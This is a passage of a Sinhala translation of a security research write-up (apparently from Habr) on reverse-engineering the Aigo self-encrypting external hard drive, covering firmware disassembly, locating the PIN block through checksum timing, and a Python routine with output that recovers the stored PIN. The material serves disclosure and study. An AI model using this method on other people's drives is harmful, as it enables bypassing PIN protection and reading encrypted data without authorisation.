7.3 ෆ්ලෑෂ් ද්විමය ප්‍රතිසංස්කරණය

සියලුම කාල අපගමනයන් සැලකිල්ලට ගනිමින් ෆ්ලෑෂ් ඩ්‍රයිව් හි වැඩසටහන් කේතය සම්පූර්ණයෙන්ම ප්‍රතිනිර්මාණය කරන කේතය ලිවීම මම තවමත් සම්පූර්ණ කර නොමැත. කෙසේ වෙතත්, මම දැනටමත් මෙම කේතයේ ආරම්භය ප්රතිෂ්ඨාපනය කර ඇත. මම එය නිවැරදිව කළ බව තහවුරු කර ගැනීමට, මම m8cdis භාවිතයෙන් එය විසුරුවා හැරියෙමි:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

තරමක් පිළිගත හැකි බව පෙනේ!

7.4 PIN කේත ගබඩා ලිපිනය සොයා ගැනීම

දැන් අපට අවශ්‍ය වේලාවන්හිදී චෙක්සම් කියවිය හැකි බැවින්, අපට එය වෙනස් වන්නේ කෙසේද සහ කොතැනද යන්න පහසුවෙන් පරීක්ෂා කළ හැක:

  • වැරදි PIN කේතය ඇතුළත් කරන්න;
  • පින් කේතය වෙනස් කරන්න.

පළමුව, ආසන්න ගබඩා ලිපිනය සොයා ගැනීමට, මම නැවත පණගැන්වීමෙන් පසු 10 ms වර්ධක වලින් චෙක්සම් ඩම්ප් එකක් ගත්තා. ඊට පස්සේ මම වැරදි PIN එකක් දාලා ඒකම කළා.

බොහෝ වෙනස්කම් ඇති බැවින් ප්රතිඵලය එතරම් ප්රසන්න නොවීය. නමුත් අවසානයේ දී චෙක්සම් ප්‍රමාදයේ 120000 µs සහ 140000 µs අතර කොතැනක හෝ වෙනස් වී ඇති බව තීරණය කිරීමට මට හැකි විය. නමුත් මා එහි ප්‍රදර්ශනය කළ “පින්කෝඩ්” සම්පූර්ණයෙන්ම වැරදියි - ප්‍රමාද මයික්‍රෝ තත්පර ක්‍රියා පටිපාටියේ කෞතුක වස්තුවක් නිසා, එයට 0 ගිය විට අමුතු දේවල් කරයි.

පසුව, පැය 3 කට ආසන්න කාලයක් ගත කිරීමෙන් පසු, මට මතකයි SROM පද්ධතියේ ඇමතුම චෙක්සම් චෙක්සම් සඳහා වන වාරණ ගණන සඳහන් කරන ආදානයක් ලෙස තර්කයක් ලැබෙන බව! එම. අපට PIN කේතයේ ගබඩා ලිපිනය සහ "වැරදි උත්සාහ" කවුන්ටරය, 64-byte වාරණ දක්වා නිරවද්‍යතාවයකින් පහසුවෙන් ස්ථානගත කළ හැක.

මගේ මූලික ධාවනය පහත ප්‍රතිඵලය ඇති කළේය:

Aigo ස්වයං-සංකේතනය කරන බාහිර HDD ධාවකය ආපසු හැරවීම සහ හැක් කිරීම. 2 කොටස: Cypress PSoC වෙතින් ඩම්ප් එකක් ගැනීම

පසුව මම PIN කේතය "123456" සිට "1234567" දක්වා වෙනස් කර ලබා ගත්තෙමි:

Aigo ස්වයං-සංකේතනය කරන බාහිර HDD ධාවකය ආපසු හැරවීම සහ හැක් කිරීම. 2 කොටස: Cypress PSoC වෙතින් ඩම්ප් එකක් ගැනීම

මේ අනුව, PIN කේතය සහ වැරදි උත්සාහයන් පිළිබඳ කවුන්ටරය අංක 126 හි ගබඩා කර ඇති බව පෙනේ.

7.5 කුට්ටි අංක 126 ඩම්ප් එකක් ගැනීම

බ්ලොක් #126 මගේ සම්පූර්ණ ඩම්ප් එකේ, චෙක්සම් ගණනය කිරීමේ ආරම්භයේ සිට, 125x64x18 = 144000μs පමණ කොහේ හරි පිහිටා තිබිය යුතු අතර, එය තරමක් පිළිගත හැකි බව පෙනේ. ඉන්පසුව, බොහෝ අවලංගු ඩම්ප් (“සුළු කාල වෙනස්වීම්” සමුච්චය වීම හේතුවෙන්) අතින් ඉවත් කිරීමෙන් පසුව, මම මෙම බයිට් ලබා ගැනීම අවසන් කළෙමි (145527 μs ප්‍රමාදයකින්):

Aigo ස්වයං-සංකේතනය කරන බාහිර HDD ධාවකය ආපසු හැරවීම සහ හැක් කිරීම. 2 කොටස: Cypress PSoC වෙතින් ඩම්ප් එකක් ගැනීම

PIN කේතය සංකේතනය නොකළ ආකාරයෙන් ගබඩා කර ඇති බව පැහැදිලිය! මෙම අගයන්, ඇත්ත වශයෙන්ම, ASCII කේතවල ලියා නැත, නමුත් පෙනෙන පරිදි, ඒවා ධාරිත්‍රක යතුරුපුවරුවෙන් ලබාගත් කියවීම් පිළිබිඹු කරයි.

අවසාන වශයෙන්, නරක උත්සාහ කවුන්ටරය ගබඩා කර ඇත්තේ කොතැනදැයි සොයා ගැනීමට මම තවත් පරීක්ෂණ කිහිපයක් දිව්වා. මෙන්න ප්‍රතිඵලය:

Aigo ස්වයං-සංකේතනය කරන බාහිර HDD ධාවකය ආපසු හැරවීම සහ හැක් කිරීම. 2 කොටස: Cypress PSoC වෙතින් ඩම්ප් එකක් ගැනීම

0xFF - "15 උත්සාහයන්" යන්නෙන් අදහස් වන අතර එය අසාර්ථක වූ සෑම උත්සාහයක් සමඟම අඩු වේ.

7.6 PIN කේතය ප්රතිසාධනය

ඉහත කරුණු එකට එකතු කරන මගේ කැත කේතය මෙන්න:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

එය ක්‍රියාත්මක කිරීමේ ප්‍රතිඵලය මෙන්න:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

හුරේ! කටයුතු!

මා භාවිතා කළ ප්‍රමාද අගයන් එක් විශේෂිත PSoC - මා භාවිතා කළ එකකට අදාළ විය හැකි බව කරුණාවෙන් සලකන්න.

8. ඊළඟට කුමක් ද?

එබැවින්, අපගේ Aigo ධාවකයේ සන්දර්භය තුළ, PSoC පැත්තෙන් සාරාංශ කරමු:

  • එය ආරක්ෂිතව කියවා තිබුණද අපට SRAM කියවිය හැකිය;
  • සීතල ඇරඹුම් ට්‍රේස් ප්‍රහාරයක් භාවිතා කර PIN කේතය කෙලින්ම කියවීමෙන් අපට ප්‍රති-ස්වයිප් ආරක්ෂණය මඟ හැරිය හැක.

කෙසේ වෙතත්, සමමුහුර්ත කිරීමේ ගැටළු හේතුවෙන් අපගේ ප්‍රහාරයේ යම් දෝෂ ඇත. එය පහත පරිදි වැඩිදියුණු කළ හැකිය:

  • "සීතල ඇරඹුම් හෝඩුවාවක්" ප්රහාරයේ ප්රතිඵලයක් ලෙස ලබාගත් ප්රතිදාන දත්ත නිවැරදිව විකේතනය කිරීම සඳහා උපයෝගීතාවයක් ලියන්න;
  • වඩාත් නිවැරදි කාල ප්‍රමාදයන් සෑදීමට FPGA ගැජට් එකක් භාවිතා කරන්න (නැතහොත් Arduino දෘඪාංග ටයිමර් භාවිතා කරන්න);
  • වෙනත් ප්‍රහාරයක් උත්සාහ කරන්න: හිතාමතාම වැරදි PIN කේතයක් ඇතුළත් කරන්න, නැවත පණ ගැන්වීම සහ RAM ඩම්ප් කරන්න, සැසඳීම සඳහා නිවැරදි PIN කේතය RAM හි සුරකිනු ඇතැයි බලාපොරොත්තු වේ. කෙසේ වෙතත්, Arduino හි මෙය කිරීම එතරම් පහසු නැත, මන්ද Arduino සංඥා මට්ටම වෝල්ට් 5 ක් වන අතර, අප පරීක්ෂා කරන පුවරුව 3,3 වෝල්ට් සංඥා වලින් ක්රියා කරයි.

උත්සාහ කළ හැකි එක් රසවත් දෙයක් නම් කියවීමේ ආරක්ෂාව මඟ හැරීම සඳහා වෝල්ටීයතා මට්ටම සමඟ සෙල්ලම් කිරීමයි. මෙම ප්‍රවේශය ක්‍රියාත්මක වූයේ නම්, අපට ෆ්ලෑෂ් ඩ්‍රයිව් වෙතින් නිරපේක්ෂ නිවැරදි දත්ත ලබා ගැනීමට හැකි වනු ඇත - නිරවද්‍ය කාල ප්‍රමාදයන් සහිත චෙක්සම් කියවීම මත විශ්වාසය තැබීම වෙනුවට.

SROM බොහෝ විට ReadBlock පද්ධති ඇමතුම හරහා ආරක්ෂක බිටු කියවන බැවින්, අපට එයම කළ හැකිය විස්තර කර ඇත දිමිත්‍රි නෙදොස්පසොව්ගේ බ්ලොග් අඩවියේ - ක්‍රිස් ගර්ලින්ස්කිගේ ප්‍රහාරය නැවත ක්‍රියාත්මක කිරීම, සමුළුවේදී නිවේදනය කරන ලදී "REcon Brussels 2017".

කළ හැකි තවත් විනෝදජනක දෙයක් නම්, චිපයෙන් නඩුව ඇඹරීමයි: SRAM ඩම්ප් එකක් ගැනීම, ලේඛනගත නොකළ පද්ධති ඇමතුම් සහ දුර්වලතා හඳුනා ගැනීම.

9. නිගමනය

එබැවින්, මෙම ධාවකයේ ආරක්ෂාව අපේක්ෂා කිරීමට බොහෝ දේ ඉතිරි කරයි, මන්ද එය PIN කේතය ගබඩා කිරීම සඳහා සාමාන්‍ය (“දැඩි නොකළ”) ක්ෂුද්‍ර පාලකයක් භාවිතා කරන බැවිනි... Plus, දත්ත සමඟ දේවල් සිදු වන්නේ කෙසේදැයි මම (තවමත්) සොයා බැලුවේ නැත. මෙම උපාංගයේ සංකේතනය!

Aigo සඳහා ඔබට නිර්දේශ කළ හැක්කේ කුමක්ද? සංකේතාත්මක HDD ධාවකයන්ගේ මාදිලි කිහිපයක් විශ්ලේෂණය කිරීමෙන් පසුව, 2015 දී මම සෑදුවෙමි. ඉදිරිපත් කිරීම SyScan මත, ඔහු බාහිර HDD ධාවකයන් කිහිපයක ආරක්ෂක ගැටළු පරීක්ෂා කර, ඒවායින් වැඩිදියුණු කළ හැකි දේ පිළිබඳ නිර්දේශ ඉදිරිපත් කළේය. 🙂

මම සති අන්ත දෙකක් සහ සන්ධ්‍යාවන් කිහිපයක්ම මේ පර්යේෂණය කළා. මුළු පැය 40 ක් පමණ. ආරම්භයේ සිට (මම තැටිය විවෘත කළ විට) අවසානය දක්වා ගණන් කිරීම (PIN කේත ඩම්ප්). එම පැය 40 තුළ මා මෙම ලිපිය ලිවීමට ගත කළ කාලය ඇතුළත් වේ. එය ඉතා උද්වේගකර ගමනක් විය.

මූලාශ්රය: www.habr.com

අදහස් එක් කරන්න